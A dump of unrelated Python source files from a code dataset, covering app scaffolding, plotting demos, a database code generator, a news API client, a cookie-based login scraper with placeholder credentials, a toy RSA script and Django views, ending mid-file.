True.\n\n Instance variables (use these in your application):\n opts: The argparse.Namespace containing parsed commandline arguments.\n \"\"\"\n\n PROG_NAME = None\n DESCRIPTION = None\n USES_STANDARD_LOGGING = True\n USES_TS_MON = True\n\n def __init__(self):\n self.opts = None\n self.parser = None\n\n def add_argparse_options(self, parser):\n \"\"\"Register any arguments used by this application.\n\n Override this method and call parser.add_argument().\n\n Args:\n parser: An argparse.ArgumentParser object.\n \"\"\"\n\n if self.USES_STANDARD_LOGGING:\n logs.add_argparse_options(parser)\n if self.USES_TS_MON:\n ts_mon.add_argparse_options(parser)\n\n def process_argparse_options(self, options):\n \"\"\"Process any commandline arguments.\n\n Args:\n options: An argparse.Namespace object.\n \"\"\"\n\n if self.USES_STANDARD_LOGGING:\n logs.process_argparse_options(options)\n if self.USES_TS_MON:\n ts_mon.process_argparse_options(options)\n\n def main(self, opts):\n \"\"\"Your application's main method.\n\n Do the work of your application here. When this method returns the\n application will exit.\n\n Args:\n opts: An argparse.Namespace containing parsed commandline options. This\n is passed as an argument for convenience but is also accessible as an\n instance variable (self.opts).\n\n Return:\n An integer exit status, or None to use an exit status of 0.\n \"\"\"\n raise NotImplementedError\n\n def run(self, args=None):\n \"\"\"Main application entry point.\"\"\"\n\n if args is None: # pragma: no cover\n args = sys.argv\n\n # Add and parse commandline args.\n self.parser = argparse.ArgumentParser(\n description=self.DESCRIPTION,\n prog=self.PROG_NAME or args[0],\n formatter_class=argparse.RawTextHelpFormatter)\n\n self.add_argparse_options(self.parser)\n self.opts = self.parser.parse_args(args[1:])\n self.process_argparse_options(self.opts)\n\n # Print a startup log message.\n logging.info('Process started at %s', datetime.datetime.utcfromtimestamp(\n psutil.Process().create_time()).isoformat())\n logging.info('Command line arguments:')\n for index, arg in enumerate(sys.argv):\n logging.info('argv[%d]: %s', index, arg)\n logging.info('Process id %d', os.getpid())\n logging.info('Current working directory %s', os.getcwd())\n\n # Run the application's main function.\n try:\n status = self.main(self.opts)\n except Exception:\n logging.exception('Uncaught exception, exiting:')\n if self.USES_TS_MON:\n # Flushing ts_mon to try to report the exception.\n ts_mon.flush()\n status = 1\n\n sys.exit(status)\n", "sub_path": "client/third_party/infra_libs/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 3996, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "infra_libs.logs.add_argparse_options", "line_number": 69, "usage_type": "call"}, {"api_name": "infra_libs.logs", "line_number": 69, "usage_type": "name"}, {"api_name": "infra_libs.ts_mon.add_argparse_options", "line_number": 71, "usage_type": "call"}, {"api_name": "infra_libs.ts_mon", "line_number": 71, "usage_type": "name"}, {"api_name": "infra_libs.logs.process_argparse_options", "line_number": 81, "usage_type": "call"}, {"api_name": "infra_libs.logs", "line_number": 81, "usage_type": "name"}, {"api_name": "infra_libs.ts_mon.process_argparse_options", "line_number": 83, "usage_type": "call"}, {"api_name": "infra_libs.ts_mon", "line_number": 83, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 105, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 108, "usage_type": "call"}, {"api_name": "argparse.RawTextHelpFormatter", "line_number": 111, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 118, "usage_type": "call"}, {"api_name": "datetime.datetime.utcfromtimestamp", "line_number": 118, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 118, "usage_type": "attribute"}, {"api_name": "psutil.Process", "line_number": 119, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 120, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 121, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 122, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 123, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 123, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 124, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 124, "usage_type": "call"}, {"api_name": "logging.exception", "line_number": 130, "usage_type": "call"}, {"api_name": "infra_libs.ts_mon.flush", "line_number": 133, "usage_type": "call"}, {"api_name": "infra_libs.ts_mon", "line_number": 133, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 136, "usage_type": "call"}]} {"seq_id": "225981210", "text": "# -*- coding: utf-8 -*-\n\n\"\"\"\npython3 -m tests.test_basic\n\"\"\"\n\nfrom . import context\n\nfrom . import test_functions\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nfrom source.pso import PSO\n\n# import unittest\n\n# cd /Users/amorymartin/Documents/Github/psopy\n\nif __name__ == '__main__':\n \n\n\tobjective = lambda x:test_functions.rosenbrock(x)\n\t\n\n\tX, Y = np.meshgrid(np.linspace(-5, 5, 1000), np.linspace(-5, 5, 1000))\n\tZ = objective([X, Y])\n\n\tplt.ion()\n\tplt.figure()\n\tfig, ax = plt.subplots()\n\tcs = ax.contour(X, Y, 10+np.log(Z), cmap='jet')\n\tax.clabel(cs, inline=1, fontsize=10)\n\n\topt = PSO(objective, lb=np.array([-3, -3]), ub=np.array([3, 3]), max_iter=50,ax=ax)\n\txopt = opt.optimize()\n\tprint('Local minimum: %.2f %.2f' %(xopt[0], xopt[1]))", "sub_path": "tests/test_basic.py", "file_name": "test_basic.py", "file_ext": "py", "file_size_in_byte": 748, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.meshgrid", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ion", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "numpy.log", "line_number": 33, "usage_type": "call"}, {"api_name": "source.pso.PSO", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 36, "usage_type": "call"}]} {"seq_id": "105920608", "text": "from __future__ import unicode_literals, division, print_function, absolute_import\nimport argparse\nimport codecs\nimport sys\n\nfrom sqlalchemy.engine import create_engine\nfrom sqlalchemy.schema import MetaData\nimport pkg_resources\n\nfrom sqlacodegen.codegen import CodeGenerator\n\n\ndef parser_factory():\n '''\n A factory method to generate a parser with standard args\n :return: ArgumentParser\n '''\n parser = argparse.ArgumentParser(\n description='Generates SQLAlchemy model '\n 'code from an existing database.')\n parser.add_argument('url', nargs='?',\n help='SQLAlchemy url to the database')\n parser.add_argument('--version', action='store_true',\n help=\"print the version number and exit\")\n parser.add_argument('--schema',\n help='load tables from an alternate schema')\n parser.add_argument('--tables',\n help='tables to process '\n '(comma-separated, default: all)')\n parser.add_argument('--skiptables', help='tables to skip ('\n 'comma-separated, default: none)')\n parser.add_argument('--noviews', action='store_true', help=\"ignore views\")\n parser.add_argument('--noindexes', action='store_true',\n help='ignore indexes')\n parser.add_argument('--noconstraints', action='store_true',\n help='ignore constraints')\n parser.add_argument('--nojoined', action='store_true',\n help=\"don't autodetect joined table inheritance\")\n parser.add_argument('--noinflect', action='store_true',\n help=\"don't try to convert \"\n \"tables names to singular form\")\n parser.add_argument('--noclasses', action='store_true',\n help=\"don't generate classes, only tables\")\n parser.add_argument('--outfile',\n help='file to write output to (default: stdout)')\n return parser\n\n\ndef main():\n parser = parser_factory()\n args = parser.parse_args()\n\n if args.version:\n version = pkg_resources.get_distribution('sqlacodegen').parsed_version\n print(version.public)\n return\n if not args.url:\n print('You must supply a url\\n', file=sys.stderr)\n parser.print_help()\n return\n\n engine = create_engine(args.url)\n metadata = MetaData(engine)\n def _filter_tables_list(table_name, metadata_obj):\n '''\n A callable function passed to MetaData.reflect which returns boolean predicates on args entered\n First, return False for all tables in skiptables\n Second, if tables arg is non-empty, only return tables specified; Else return all tables\n :param table_name: string\n :param metadata_obj: sqlalchemy.MetaData\n :return: bool\n '''\n if table_name in args.skiptables:\n return False\n if args.tables:\n if table_name in args.tables:\n return True\n else:\n return False\n else:\n return True\n\n metadata.reflect(bind=engine, schema=args.schema, views=args.noviews,\n only=_filter_tables_list)\n outfile = codecs.open(args.outfile, 'w',\n encoding='utf-8') if args.outfile else sys.stdout\n generator = CodeGenerator(metadata, args.noindexes, args.noconstraints,\n args.nojoined, args.noinflect,\n args.noclasses)\n generator.render(outfile)\n", "sub_path": "sqlacodegen/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3603, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 18, "usage_type": "call"}, {"api_name": "pkg_resources.get_distribution", "line_number": 54, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 58, "usage_type": "attribute"}, {"api_name": "sqlalchemy.engine.create_engine", "line_number": 62, "usage_type": "call"}, {"api_name": "sqlalchemy.schema.MetaData", "line_number": 63, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 85, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 86, "usage_type": "attribute"}, {"api_name": "sqlacodegen.codegen.CodeGenerator", "line_number": 87, "usage_type": "call"}]} {"seq_id": "151411707", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\ntitle = \"Système Linéaire Invariant\"\nauthors = \"F. Orieux\"\nemail = \"orieux@l2s.centralesupelec.fr\"\n\n\nclass Demo:\n def __init__(self, fig):\n fig.clf()\n self.axes = fig.subplots(2, 1)\n\n self.t = np.linspace(0, 10, 1000)\n self.sig = np.zeros_like(self.t)\n self.sig[0] = 1\n self.sig[500] = 1\n a = np.fmax(0, self.t.reshape((-1, 1)) - self.t.reshape((1, -1)))\n self.H = np.exp(-np.ones((1, len(self.t))) * 1.5 * a)\n self.H[a == 0] = 0\n out = np.dot(self.H, self.sig)\n\n (self.le,) = self.axes[0].plot(self.t, self.sig, label=\"e(t)\")\n (self.ls,) = self.axes[1].plot(self.t, out, label=\"s(t)\")\n self.axes[0].legend()\n self.axes[1].legend()\n # self.axes[0].set_title(\"Système linéaire invariant\")\n # self.axes[0].grid('on')\n # self.axes[1].grid('on')\n self.axes[1].set_xlabel(r\"$t$\")\n\n def interact(self, τ: (0.1, 9.0, 100) = 5):\n self.sig.fill(0)\n self.sig[0] = 1\n self.sig[np.where(self.t <= τ)[0][-1]] = 1\n out = np.dot(self.H, self.sig)\n\n self.le.set_ydata(self.sig)\n self.ls.set_ydata(out)\n self.axes[1].set_ylim([self.axes[1].get_ylim()[0], 1.1 * out.max()])\n\n\nif __name__ == \"__main__\":\n plt.ion()\n d = Demo(plt.figure())\n d.interact(10)\n plt.show()\n", "sub_path": "demos/Bases du signal/sli.py", "file_name": "sli.py", "file_ext": "py", "file_size_in_byte": 1399, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.linspace", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.fmax", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ion", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}]} {"seq_id": "76366523", "text": "\"\"\"\nmodule for working with GDELT API\n\"\"\"\nimport json\nimport urllib.request\n\nbaseURL = \"https://api.gdeltproject.org/api/v2/doc/doc?query=\"\n\n\ndef is_validLocation(loc):\n \"\"\"\n Given country or city, checks whether such exists\n :param loc: lowercase string\n :return: bool\n \"\"\"\n with open(\"databases/countries.json\", encoding=\"utf-8\", errors=\"replace\") as countries:\n for country in json.load(countries):\n if loc == country[\"country\"].lower():\n break\n else:\n with open(\"databases/cities.json\", encoding=\"utf-8\", errors=\"ignore\") as cities:\n for city in json.load(cities):\n if loc == city[\"name\"].lower():\n break\n else:\n return False\n return True\n\n\ndef getLocation():\n \"\"\"\n User interface for getting city or country\n :return: string\n \"\"\"\n print(\"Please enter full country name (United States not USA or US) or city here\")\n location = input(\" ==> \").lower()\n while not is_validLocation(location):\n print(\n \"Your input is incorrect or we can`t find such location.\\nIf you are sure everything \"\n \"is \"\"right, press \\'Enter\\'\")\n ans = input(\" ==> \").lower()\n if ans == \"\":\n break\n else:\n location = ans\n return location\n\n\ndef transQuery(query, mode=\"tonechart\", themes=[None]):\n \"\"\"\n Given city or country, display mode and themes returns generator of charts\n :param query: string\n :param mode: string\n :param themes: list\n :return: generator\n \"\"\"\n query = query.replace(\" \", \"%20\")\n for theme in themes:\n tmp_theme = \"%20theme:\" + theme if theme else \"\"\n while True:\n requestURL = baseURL + '\\\"' + query + '\\\"' + tmp_theme + \"&mode=\" + mode + \\\n \"&format=json\"\n request_result = urllib.request.urlopen(requestURL).read().decode(\"utf-8\")\n if \"phrase is too short\" in request_result:\n query += \"%20\" + query\n else:\n break\n request_result = json.loads(request_result, strict=False)\n try:\n if mode == \"tonechart\":\n yield request_result[mode]\n else:\n yield request_result[\"timeline\"]\n except KeyError:\n yield None\n\n\nif __name__ == \"__main__\":\n tmp1 = [elem for elem in transQuery(\"United States\")]\n tmp2 = [elem for elem in transQuery(\"united states\")]\n print(tmp1 == tmp2)\n", "sub_path": "with_GUI/gdeltAPI.py", "file_name": "gdeltAPI.py", "file_ext": "py", "file_size_in_byte": 2554, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "json.load", "line_number": 17, "usage_type": "call"}, {"api_name": "json.load", "line_number": 22, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 63, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 63, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 63, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 68, "usage_type": "call"}]} {"seq_id": "347563352", "text": "from urllib import request, parse\nfrom http import cookiejar\n\n# 创建ccookiejar的实例\ncookie = cookiejar.CookieJar()\n\n# 生成cookie的管理器\ncookie_handle = request.HTTPCookieProcessor(cookie)\n# 创建http请求管理器\nhttp_handle = request.HTTPHandler()\n# 生成https管理器\nhttps_handle = request.HTTPSHandler()\n\n# 创建请求管理器\nopener = request.build_opener(http_handle, https_handle, cookie_handle)\n\ndef login():\n '''\n 负责初次登陆\n 需要输入用户名密码，用来获取登陆cookie凭证\n :return:\n '''\n\n # 此url需要从登录form的action属性中提取\n url = \"http://www.renren.com/PLogin.do\"\n\n # 此键值需要从登陆form的两个对应input中提取name属性\n data = {\n \"email\": \"xxxxxxxx\",\n \"password\": \"xxxxxx\"\n }\n\n # 把数据进行编码\n data = parse.urlencode(data)\n\n # 创建一个请求对象\n req = request.Request(url, data=data.encode())\n\n # 使用opener发起请求\n rsp = opener.open(req)\n\nif __name__ == '__main__':\n '''\n 执行完login之后，会得到授权之后的cookie\n 我们尝试把cookie打印出来\n '''\n login()\n\n print(cookie)\n for item in cookie:\n print(type(item))\n print(item)\n for i in dir(item):\n print(i)\n\n", "sub_path": "Spider/笔记/v14.py", "file_name": "v14.py", "file_ext": "py", "file_size_in_byte": 1302, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "http.cookiejar.CookieJar", "line_number": 5, "usage_type": "call"}, {"api_name": "http.cookiejar", "line_number": 5, "usage_type": "name"}, {"api_name": "urllib.request.HTTPCookieProcessor", "line_number": 8, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 8, "usage_type": "name"}, {"api_name": "urllib.request.HTTPHandler", "line_number": 10, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 10, "usage_type": "name"}, {"api_name": "urllib.request.HTTPSHandler", "line_number": 12, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 12, "usage_type": "name"}, {"api_name": "urllib.request.build_opener", "line_number": 15, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 15, "usage_type": "name"}, {"api_name": "urllib.parse.urlencode", "line_number": 34, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 34, "usage_type": "name"}, {"api_name": "urllib.request.Request", "line_number": 37, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 37, "usage_type": "name"}]} {"seq_id": "312110325", "text": "import xml.etree.ElementTree as ET\n\nimport os\nimport json\nimport sys\n# create the file structure\n\n\nafiles=[]\nif len(sys.argv)>=3:\n annotationFilePath = sys.argv[1]\n imageFilePath = sys.argv[2]\n darkFlowannotation = sys.argv[3]\n try:\n os.listdir(darkFlowannotation)\n except Exception as e:\n os.mkdir(darkFlowannotation)\n print(darkFlowannotation + \" directory created succesfully\")\nelse:\n print(\"Provide arguments in correct order of annotationDirectory, imageDirectory,darFlowAnnotation directory\")\nannotationFiles = os.listdir(annotationFilePath)\nfor annotationFile in annotationFiles:\n # data={\"tags\": [\"train\", \"train\"], \"description\": imageFile.split('.')[0], \"objects\": [], \"size\": {\"height\": 34, \"width\": 152}}\n bRemove = False\n with open(annotationFilePath + annotationFile, 'r') as fp:\n # json.dump(data, fp)\n data1 = json.load(fp)\n if(data1[\"objects\"]):\n with open(darkFlowannotation + annotationFile.split(\".\")[0] + \".xml\",'wb') as fp:\n print(data1)\n \n data = ET.Element('annotation') \n folder = ET.SubElement(data, 'folder') \n filename = ET.SubElement(data, 'filename') \n path = ET.SubElement(data, 'path') \n source = ET.SubElement(data, 'source') \n database = ET.SubElement(source, 'database') \n size = ET.SubElement(data, 'size') \n width = ET.SubElement(size, 'width') \n height = ET.SubElement(size, 'height') \n depth = ET.SubElement(size, 'depth') \n segmented = ET.SubElement(data, 'segmented') \n width.text = str(data1[\"size\"][\"width\"])\n height.text = str(data1[\"size\"][\"height\"])\n depth.text = \"3\"\n segmented.text = \"0\"\n for element in data1[\"objects\"]:\n object = ET.SubElement(data, 'object') \n name = ET.SubElement(object, 'name') \n pose = ET.SubElement(object, 'pose') \n truncated = ET.SubElement(object, 'truncated') \n difficult = ET.SubElement(object, 'difficult') \n bndbox = ET.SubElement(object, 'bndbox') \n xmin = ET.SubElement(bndbox, 'xmin')\n ymin = ET.SubElement(bndbox, 'ymin')\n xmax = ET.SubElement(bndbox, 'xmax')\n ymax = ET.SubElement(bndbox, 'ymax') \n\n \n difficult.text = \"0\"\n truncated.text = \"1\"\n pose.text = \"Unspecified\"\n name.text = element[\"classTitle\"]\n database.text = \"Unknown\"\n folder.text=\"images\"\n path.text = imageFilePath + annotationFile.split(\".\")[0] + \".jpg\"\n filename.text = annotationFile.split(\".\")[0] + \".jpg\"\n # width.text = width\n # height.text = height\n xmin.text = str(element[\"points\"][\"exterior\"][0][0])\n ymin.text = str(element[\"points\"][\"exterior\"][0][1])\n xmax.text = str(element[\"points\"][\"exterior\"][1][0])\n ymax.text = str(element[\"points\"][\"exterior\"][1][1])\n \n\n\n # create a new XML file with the results\n mydata = ET.tostring(data) \n print(data)\n fp.write(mydata) \n ", "sub_path": "supervisley_to_darkflow.py", "file_name": "supervisley_to_darkflow.py", "file_ext": "py", "file_size_in_byte": 3545, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.argv", "line_number": 10, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 11, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 12, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 15, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 17, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 21, "usage_type": "call"}, {"api_name": "json.load", "line_number": 27, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 32, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 32, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 33, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 33, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 34, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 34, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 35, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 35, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 36, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 36, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 37, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 37, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 38, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 38, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 39, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 39, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 40, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 40, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 41, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 41, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 42, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 42, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 48, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 48, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 49, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 49, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 50, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 50, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 51, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 51, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 52, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 52, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 53, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 53, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 54, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 54, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 55, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 55, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 56, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 56, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 57, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 57, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.tostring", "line_number": 78, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 78, "usage_type": "name"}]} {"seq_id": "163474506", "text": "from pyramid.response import Response\nfrom pyramid.httpexceptions import HTTPNotFound\nfrom pyramid.view import view_config\n\nfrom sqlalchemy.exc import DBAPIError\n\nfrom .models import (\n DBSession,\n Location,\n )\n\n@view_config(route_name='location', renderer='json', request_method='GET')\ndef location(request):\n location_id = request.matchdict.get('location_id')\n location = DBSession.query(Location).filter(Location.id==location_id).first()\n\n if (location is None):\n raise HTTPNotFound()\n\n return location.to_dict()\n\n@view_config(route_name='location_search', renderer='json')\ndef location_search(request):\n return {\n 'error': 'not implemented'\n }\n", "sub_path": "locations/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 689, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "models.DBSession.query", "line_number": 15, "usage_type": "call"}, {"api_name": "models.Location", "line_number": 15, "usage_type": "argument"}, {"api_name": "models.DBSession", "line_number": 15, "usage_type": "name"}, {"api_name": "models.Location.id", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pyramid.httpexceptions.HTTPNotFound", "line_number": 18, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 12, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 22, "usage_type": "call"}]} {"seq_id": "506976194", "text": "import rsa\nimport sys\nimport os.path\n\ndef check_args():\n\tif len(sys.argv) < 4 or len(sys.argv) > 5:\n\t\treturn False\n\tfor arg in sys.argv:\n\t\tif not os.path.isfile(arg):\n\t\t\tprint(\"File \" + arg + \" doesn't exist.\")\n\t\t\treturn False\n\treturn True\n\ndef encrypt(m):\n\treturn rsa.gmpy2.powmod(rsa.mpz(m), rsa.mpz(e), rsa.mpz(n))\n\ndef char_code(c):\n\tc = ord(c)\n\tif c < 0:\n\t\treturn 2000 + c\n\telse:\n\t\treturn c\n\ndef read_n():\n\tglobal n\n\tf = open(sys.argv[1], 'r')\n\tn = f.read()\n\tf.close()\n\ndef read_e():\n\tglobal e\n\tf = open(sys.argv[2], 'r')\n\te = f.read()\n\tf.close()\n\ndef read_message():\n\tf = open(sys.argv[3], 'r')\n\tglobal l;\n\tl = list()\n\twhile True:\n\t\tc = f.read(1)\n\t\tif not c:\n\t\t\tbreak\n\t\tl.append(encrypt(char_code(c)))\n\t\n\tf.close()\n\ndef write_ciphertext():\n\tf = open(output_file, 'w')\n\tf.write(str(len(l)))\n\tf.write(\"\\n\")\n\tf.writelines(list(map(lambda m:str(m)+\"\\n\", l)))\n\tf.close()\n\nif not check_args():\n\tsys.exit(\"usage: python3 rsa_encrypt.py N PUBLIC_KEY MESSAGE [OUTPUT]\")\n\nread_n()\nread_e()\nread_message()\n\noutput_file = \"ciphertext\"\n\nif len(sys.argv) == 5:\n\toutput_file = sys.argv[4]\n\nwrite_ciphertext()\n\nprint(\"File \" + output_file + \" with ciphered message has been saved\")", "sub_path": "rsa_encrypt.py", "file_name": "rsa_encrypt.py", "file_ext": "py", "file_size_in_byte": 1171, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.argv", "line_number": 6, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.path.isfile", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 9, "usage_type": "name"}, {"api_name": "rsa.gmpy2.powmod", "line_number": 15, "usage_type": "call"}, {"api_name": "rsa.gmpy2", "line_number": 15, "usage_type": "attribute"}, {"api_name": "rsa.mpz", "line_number": 15, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 26, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 32, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 37, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 56, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 64, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 65, "usage_type": "attribute"}]} {"seq_id": "417856832", "text": "# -*- coding: utf-8 -*-\n\nfrom django.shortcuts import render\nfrom django.shortcuts import render_to_response\nfrom django.contrib.auth.models import User\nfrom django import forms\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib import auth\nfrom django.http import HttpResponseRedirect\nfrom django.template import RequestContext\nfrom django.contrib.auth.views import login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom core.utils import get_uservocabulary\nfrom core.decorators import have_testing_required\nfrom usermanager.forms import SettingForm\nfrom django.views.decorators.csrf import csrf_exempt\nimport json\nfrom django.http import HttpResponse\nfrom core.utils import *\n\n# Create your views here.\n\n@have_testing_required\n@login_required\ndef home(request):\n\tuser =request.user\n\treturn render_to_response('home.html', {'user': user,})\n\n\n@login_required\ndef index(request):\n\tuser =request.user\n\treturn render_to_response('home.html', {'user': user,})\n\ndef thx(request):\n\treturn render_to_response('registration/thx.html')\n\n@login_required\ndef show_profile(request):\n\tuser = request.user\n\treturn render_to_response('profile.html', {'user': user,'word_history':get_words_study_history(user)})\n\n##redirect logout.html to login.html\ndef logout_user(request):\n\tlogout(request)\n\treturn HttpResponseRedirect(\"/accounts/login\")\n\n\n@login_required\ndef user_setting(request):\n\tuser = request.user\n\tif request.method == 'POST':\n\t\tform = SettingForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tcd = form.cleaned_data\n\t\t\tuser.qq = cd['qq']\n\t\t\tuser.gender = cd['gender']\n\t\t\tuser.save()\n\t\t\treturn HttpResponseRedirect('/accounts/login')\n\telse:\n\t\tform = SettingForm()\n\n\treturn render_to_response('registration/setting.html', 